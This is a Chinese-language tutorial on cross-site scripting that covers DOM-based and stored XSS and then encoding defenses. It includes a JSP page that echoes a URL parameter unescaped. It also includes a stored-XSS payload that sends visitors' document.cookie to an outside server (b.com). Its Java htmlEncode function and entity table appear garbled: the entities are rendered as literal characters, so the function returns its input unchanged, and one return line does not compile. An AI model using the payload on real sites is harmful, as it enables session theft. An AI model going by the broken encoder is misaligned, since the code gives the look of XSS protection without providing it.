XSS攻擊及防禦
XSS又稱CSS,全稱Cross SiteScript,跨站指令碼攻擊,是Web程式中常見的漏洞,XSS屬於被動式且用於客戶端的攻擊方式,所以容易被忽略其危害性。其原理是攻擊者向有XSS漏洞的網站中輸入(傳入)惡意的HTML程式碼,當其它使用者瀏覽該網站時,這段HTML程式碼會自動執行,從而達到攻擊的目的。如,盜取使用者Cookie、破壞頁面結構、重定向到其它網站等。
XSS攻擊
XSS攻擊類似於SQL注入攻擊,攻擊之前,我們先找到一個存在XSS漏洞的網站,XSS漏洞分為兩種,一種是DOM Based XSS漏洞,另一種是Stored XSS漏洞。理論上,所有可輸入的地方沒有對輸入資料進行處理的話,都會存在XSS漏洞,漏洞的危害取決於攻擊程式碼的威力,攻擊程式碼也不侷限於script。
DOM Based XSS
DOM Based XSS是一種基於網頁DOM結構的攻擊,該攻擊特點是中招的人是少數人。
場景一:
當我登入a.com後,我發現它的頁面某些內容是根據url中的一個叫content引數直接顯示的,猜測它測頁面處理可能是這樣,其它語言類似:
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN" <html> <head> <title>XSS測試</title> </head> <body> 頁面內容:<%=request.getParameter("content")%> </body> </html> |
Stored XSS
Stored XSS是儲存式XSS漏洞,由於其攻擊程式碼已經儲存到伺服器上或者資料庫中,所以受害者是很多人。
場景二:
a.com可以發文章,我登入後在a.com中釋出了一篇文章,文章中包含了惡意程式碼,<script>window.open(“www.b.com?param=”+document.cookie)</script>,儲存文章。這時Tom和Jack看到了我釋出的文章,當在檢視我的文章時就都中招了,他們的cookie資訊都發送到了我的伺服器上,攻擊成功!這個過程中,受害者是多個人。
Stored XSS漏洞危害性更大,危害面更廣。
XSS防禦
我們是在一個矛盾的世界中,有矛就有盾。只要我們的程式碼中不存在漏洞,攻擊者就無從下手,我們要做一個沒有縫的蛋。XSS防禦有如下方式。
完善的過濾體系
永遠不相信使用者的輸入。需要對使用者的輸入進行處理,只允許輸入合法的值,其它值一概過濾掉。
Html encode
假如某些情況下,我們不能對使用者資料進行嚴格的過濾,那我們也需要對標籤進行轉換。
less-than character (<) |
< |
greater-than character (>) |
> |
ampersand character (&) |
& |
double-quote character (") |
" |
space character( ) |
|
Any ASCII code character whose code is greater-than or equal to 0x80 |
&#<number>, where <number> is the ASCII character value. |
其它
下面提供兩種Html encode的方法。- 使用Apache的commons-lang.jar
StringEscapeUtils.escapeHtml(str);// 漢字會轉換成對應的ASCII碼,空格不轉換
- 自己實現轉換,只轉換部分字元
private static String htmlEncode(char c) {
switch(c) {
case '&':
return "&";
case '<':
return "<";
case '>':
return ">";
case '"':
return """;
case ' ':
return " ";
default:
return c + "";
}
}
/** 對傳入的字串str進行Html encode轉換 */
public static String htmlEncode(String str) {
if (str ==null || str.trim().equals("")) return str;
StringBuilder encodeStrBuilder = new StringBuilder();
for (int i = 0, len = str.length(); i < len; i++) {
encodeStrBuilder.append(htmlEncode(str.charAt(i)));
}
return encodeStrBuilder.toString();
}